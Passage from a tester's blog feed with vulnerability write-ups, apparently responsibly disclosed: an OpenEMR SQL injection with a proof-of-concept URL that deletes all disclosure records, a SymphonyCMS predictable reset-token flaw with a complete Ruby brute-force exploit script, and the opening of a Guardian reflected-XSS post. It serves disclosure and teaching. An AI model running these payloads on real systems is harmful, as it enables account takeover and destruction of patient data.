of how the system is used and its features or ‘claims’.</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The latest/patched code was relatively well protected against SQL Injection, with widespread use of prepared statements, a good defence against 1st order SQL Injection. But, I noticed a few queries were not parameterised. While this is not necessarily a problem, if its possible to include custom inputs into the query, then vulnerabilities can creep in.</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">In this case, the affected query was a delete for ‘Patient Disclosures’. When the user opts to delete a Disclosure record via the user interface the system runs this query, inserting the record identifier sent via the browser. </span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Unfortunately, the Open EMR system does not filter out inappropriate characters for these requests, meaning SQL can be written unmodified into the request. As long as the SQL, when combined with the remainder of the query is valid syntactically, the query is then executed. If code had restricted the input to be, for example positive integers, then this vulnerability would be largely mitigated.</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">You can see the vulnerable code here:</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">File: </span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">openemr-4.1.2/library/log.inc</span></div><pre class="brush: ruby">function deleteDisclosure($deletelid)<br /><br />{<br /><br /> $sql="delete from extended_log where id='$deletelid'";<br /><br /> $ret = sqlInsertClean_audit($sql);<br /><br />}<br /><br /></pre><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">As you can see the ID string is just included directly into the string used for the query.</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">As a proof of concept, I wrote a simple SQL extract that when injected produces a valid but nefarious query. In this case, the query deletes <i>all</i> Patient Disclosures.</span><br><br><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The malicious Request URL might look like this (the malicious characters in red): </span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;"><span style="background-color: transparent; color: black; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="color: #666666;">http://youropenemrserver/openemr/interface/patient_file/summary/disclosure_full.php?deletelid=5</span><b><span style="color: red;">%27%20OR%20%271%27=%271</span></b></span></span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The active code inserted is:</span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #666666;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;"><span style="background-color: transparent; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">' OR '1'='1</span></span></span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">This generates a SQL query like this:</span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #666666; font-family: 'Courier New'; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">delete from extended_log where id='5</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">' OR '1'='1</span><span style="background-color: transparent; color: #666666; font-family: 'Courier New'; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">'</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The addition ensures every item in the table is deleted. Not only those with an id of 5. Other injections are of course possible, this one was chosen because its a simple demonstration of SQL Injection. Typically an attacker would try to extract user credentials, or confidential information &nbsp;- in this case possibly patient medical records.</span></div><br><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">One positive aspect of the flaw is that it is not pre-auth. So the attack only works when the attacker/exploit code has access to a valid logged-in session. This makes it slightly harder to exploit, but not overly so as an attacker can use methods such as Cross Site Request Forgery to initiate ‘blind’ attacks from another browser tab. But in summary, if OpenEMR is deployed only on a local network this issue is not severe.</span><br><br><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><b>Note</b>: I reported this issue in a process of responsible disclosure on a 30 day embargo. (That expired 5 days before a <a href="http://www.open-emr.org/wiki/index.php/OpenEMR_Patches">patch</a> was released and 9 days before this post.&nbsp;&nbsp;</span><br><br><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The patch was released on the 8th June 2014 and is meant to address this issue and others. (<a href="http://www.open-emr.org/wiki/index.php/OpenEMR_Patches#List_of_files_.284.1.2.29">Look for the fixes from Brady Miller to log.inc</a>). I have not tested this fix.</span><br><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><br></span></div>http://www.investigatingsoftware.co.uk/2014/06/sql-injection-security-flaw-in-openemr.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-1624337834853770571Mon, 24 Mar 2014 20:47:00 +00002014-05-12T02:20:45.169-07:00automationrandomsecurityvulnerabilityA security bug in SymphonyCMS ( Predictable Forgotten Password Token Generation )<br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 15px; line-height: 1.15;">(This issue is now raised in <a href="http://osvdb.com/show/osvdb/105212">OSVDB</a>.)</span><br /><span style="font-family: Arial; font-size: 15px; line-height: 1.15;"><br /></span><span style="font-family: Arial; font-size: 15px; line-height: 1.15;">On the 20th October 2013, The SymphonyCMS project released version 2.3.4 of their Content Management System. The release included a <a href="http://www.getsymphony.com/download/releases/version/2.3.4/">security fix</a> for an issue I’d found in their software. The bug made it much easier for people to gain unauthorised access to the SymphonyCMS administration pages. More about that in a moment.</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The date of the release is also relevant, its a couple of days shy of 60 days after I had informed the development team of the issue. When I’d informed the team of the bug, I’d mentioned that I’d blog about the issue, sometime on or after the 60 days had elapsed. (That was in line with my <a href="http://en.wikipedia.org/wiki/Responsible_disclosure">Responsible Disclosure</a> policy at the time)</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><h3><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Which product had the bug?</span></h3><div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"><br /></span></div><h3><span style="font-family: Arial; font-size: 15px; font-weight: normal; line-height: 1.15;">Symphony CMS is a web content management system, built in PHP. It appears to be used by several larger companies &amp; organisations, <a href="http://www.getsymphony.com/">learn more here</a>.&nbsp;</span></h3></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"><b>What was the bug?</b></span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The forgotten password functionality in v2.3.3 had a weakness, This meant an attacker could bypass the normal login process by pretending to ‘forget’ a users password. It breaks down like this:</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Firstly </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>The</i></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">&nbsp;</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>Attacker</i></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">&nbsp;needed a username, that was&nbsp;</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>not</i></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"> so difficult as usernames are not secret and can be guessed. E.g.: John Smith, might have a username of &nbsp;jsmith, john.smith etc.</span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">With the username,&nbsp;</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>The Attacker</i></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"> filled out the forgotten password form and made a note of the date &amp; time when he did it. That bit was easy too, common browser plugins like Firebug tell you the time a server responds to any web page request.</span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><br /></span><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-cM2TBzoY9Rs/UyxsWcWFk7I/AAAAAAAAAOM/_bUkPf5zDfU/s1600/firebug_date_of_response.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="http://3.bp.blogspot.com/-cM2TBzoY9Rs/UyxsWcWFk7I/AAAAAAAAAOM/_bUkPf5zDfU/s1600/firebug_date_of_response.png" height="318" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Firebug shows the HTTP response with the server's date &amp; time for the response</td></tr></tbody></table><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><br /></span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Now comes the interesting bit, The Symphony v2.3.3 code uses the date &amp; time to calculate the special “too hard to guess” token it uses in the forgotten password email link. &nbsp;The PHP code on the server looks like this:</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #666666; font-family: Courier New, Courier, monospace; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">$token = substr(SHA1::hash(time() . rand(0, 1000)), 0, 6);</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>OK, so that's:</i></span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #666666; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">time() </span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">( <a href="http://uk1.php.net/time">precise to the second in php</a> ) Easy: We got that from Firebug</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>Add that to…</i></span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i><br /></i></span><span style="background-color: transparent; color: #666666; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="font-family: 'Courier New', Courier, monospace;">rand(0, 1000)</span></span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">A random number between zero and 1000. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Slightly harder, but guessing a thousand numbers is easy for a computer.</span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>Then...</i></span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #666666; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;"><br /></span></span><span style="background-color: transparent; color: #666666; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">SHA1::hash(...) </span>&nbsp;&nbsp;&nbsp;&nbsp;</span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Hashing does not make it harder to guess, I just have a 1000 hashes instead of a 1000 numbers now.</span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>Then...</i></span></div><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #666666; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;"><br /></span></span><span style="background-color: transparent; color: #666666; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><span style="font-family: &quot;Courier New&quot;,Courier,monospace;">substr(... , 0, 6) </span>&nbsp;&nbsp;</span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The first 6 characters. That's actually making it slightly easier, The first 6 characters may be repeated in the first 6 characters of some of the hashes.</span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">As you might have worked out by now, </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>The Attacker</i></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"> has only to make [less than or equal to] 1000 guesses to access our user’s account, by only knowing their guessable user-name.</span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Given that by default SymphonyCMS allows users 2 hrs to use the forgotten password link after it has been sent, I have plenty of time to guess them all. This is where some simple ruby automation makes life even easier, in this exploit:</span></div><br /><pre class="brush: ruby">#!/usr/bin/ruby<br /><br />require 'watir-webdriver'<br />require 'digest/sha1'<br />require 'date'<br /><br />puts "Number of arguments: #{ARGV.length}"<br /><br />if ARGV.length !=2<br /> puts "Incorrect arguments!"<br /> puts "Usage:"<br /> puts "#{__FILE__} FQDN TIME_STRING"<br /> exit 2<br />end<br /><br />browser = Watir::Browser.new<br />browser.goto 'about:blank'<br />puts "Time string: #{ARGV[0]}"<br /><br />0.upto(1000) do |random_num_guess|<br /> target_timestamp = DateTime.parse( ARGV[1]).to_time.to_i.to_s<br /><br /> token=Digest::SHA1.hexdigest(target_timestamp + random_num_guess.to_s )[0,6]<br /><br /> exploit_url="http://#{ARGV[0]}/symphony/login/#{token}/"<br /> puts "Try #{random_num_guess} : #{exploit_url}"<br /> browser.goto exploit_url<br /><br /> if browser.text.include? 'Retrieve password'<br /> puts "about:Blanking as the page is a login page."<br /> browser.goto 'about:blank'<br /> else<br /> puts "This URL worked:"<br /> puts exploit_url<br /> break <br /> end<br /><br />end # upto<br /></pre><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The ruby script above works through all 1000 combinations in a browser window, trying in each one and stopping when it finds one that works, It leaves the browser window open, logged in and ready to use. As you can imagine, its usually finished before the 1000th one is reached. Even on a normal DSL / broadband connection, talking to a slow Amazon EC2 instance in Asia (I’m in th UK) - the whole process only took less than 5 minutes.&nbsp;</span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><h3><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span></h3><h4 dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">How did I find the vulnerability?</span></h4><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">I started checking for the low hanging fruit, simple XSS issues and ways to induce errors in any input forms and headers I could identify as useful. As usual, <a href="http://portswigger.net/burp/">BurpSuite</a> helped me see the details of the interactions and keep a record of what I had done. I traced the error-behaviour back to the code. That gave me a head start - I knew the relevant parts of the code - that were easily accessible and knew the happy and unhappy code paths.</span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Amongst these were the login process, and in particular the forgotten password functionality. This especially interested me, as its an essential feature - but one that necessitates the bypassing of the main authentication system. Like a back-gate in the castle wall. Reading through the PHP code, and comparing it to the behaviour - I soon noticed the likely vulnerability. Adding debug, allowed me check my assumptions - and soon I had a working exploit in ruby.</span></div><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><h3 dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Why SymphonyCMS? </span></h3><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Open source tools are a great place to practice your testing skills, You can examine the system as a black box, and then crack open the code repository and check the code and configuration. You can test your assumptions about how the system works. That's more than you can do with many proprietary software systems. </span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">I’d noticed that the Symphony content management system was used by several media companies, a market sector I have considerable experience in. So it seemed like a good fit. You are also helping to improve the software available to everyone on the internet.</span></div><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><h3 dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">What happened when I reported it?</span></h3><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">I forwarded the details, exploit-code and a video of the issue to the development team. We discussed some options, and I pointed them towards a more secure way to create the tokens using the PHP function: <a href="http://uk3.php.net/manual/en/function.openssl-random-pseudo-bytes.php">openssl_random_pseudo_bytes</a></span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">The SymphonyCMS team implemented a fix, and released it, as mentioned above. Unfortunately, the fix caused another issue - the forgotten password links no-longer worked at all. (They lengthened the token in the URL but not the one it compared it against in the database). </span></div><br /><div dir="ltr" style="line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Sadly, I’ve been too busy to investigate the issue much since, or even write it up (Yes I’m writing about </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"><i>last</i></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"> year! &nbsp;)</span></div><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span><br /><span style="background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;"></span>http://www.investigatingsoftware.co.uk/2014/03/a-security-bug-in-symphonycms.htmlnoreply@blogger.com (Pete Houghton)0tag:blogger.com,1999:blog-7222462746492540485.post-7524229358275493530Fri, 12 Jul 2013 08:56:00 +00002014-03-24T04:22:20.137-07:00guardianinvestigationquestioningsecurityWeb application security testing - A Guardian website example.<br />When you read a blog post like this, or an article on a website, can you be sure its the 'real thing'? How would you know if it had been doctored?<br /><br />Lets assume the 'server' is fairly secure and hasn't been hacked into. So the content is going to be OK isn't it?, it looks OK..? So we've checked the location bar at the top of our web browser and it definitely has the right website/company name. No funny-looking misspelled names, possibly meaning I'm reading a fake site.<br /><br />And to be doubly sure, the browsers location bar states its using HTTPS and even has that reassuring little padlock we've come to look for and trust. OK, so to recap:<br /><ul><li>The website's server is secured. (Well - for the the purposes of this, lets give them the benefit of the doubt)</li><li>The logo, words, content and layout all appear to be kosher.</li><li>We are using the correct website address. (No unusual spellings e.g.: www.goole.com etc) </li><li>The page is secured using HTTPS. (Warm glow from the on-screen padlock)</li></ul>(Don't worry - this actual page is not secured via HTTPS, unlike our hypothetical example above)<br /><br />An increasing part of my testing is application-security related, investigating websites to answer just these sorts of questions. A few months ago, In my own time, I took a quick look at the Guardian website. I've used the Guardian as an <a href="http://www.investigatingsoftware.co.uk/search/label/guardian">example before</a>, as well as interesting news they have have some cool <a href="http://www.guardian.co.uk/open-platform">API tools</a> to learn with. Like many news websites, the Guardian lets users create an account, and log in. This log-in form is essentially the front end to the Guardian's id.guardian.co.uk system, and like all software it has problems - things that can upset its users or owners.<br /><br />Similar to 'normal' functional testing, you can reverse engineer how a web site or application works by a combination of trying different inputs and&nbsp; examining exposed parts of the system (JavaScript/HTML/Cookies etc). Security related issues in some respects are easier to find, as you are not constrained by 'typical' system usage. Those oft-ignored 'edge cases' are quite often useful attack vectors. But just like a functional problem, the context in which the bug exists is important - What is the cost to the company to fix/not-fix? What's the risk of not fixing? Are we a target for this sort of threat? Is this a compliance issue? Are we already being hacked in this way?<br /><br />After examining how the Guardian's log-in page worked (in April), I found that the Guardian's 'id' system was vulnerable to a reflected cross-site scripting (XSS) attack. The web page could be 'polluted' with code or content that wasn't from the Guardian. In this case that was via the URL, I could include my own code and execute it when the user loaded the page in their browser.<br /><br />The 'reflected' term used above means that its not the Guardian's website that contains the bad/polluting code. But rather their website just <i>reflects</i> the bad-code back to the user - when you request a web page in a certain way. Visiting the Guardian's website directly, by manually typing in the URL, would make us immune to this particular issue. But unfortunately, the Web 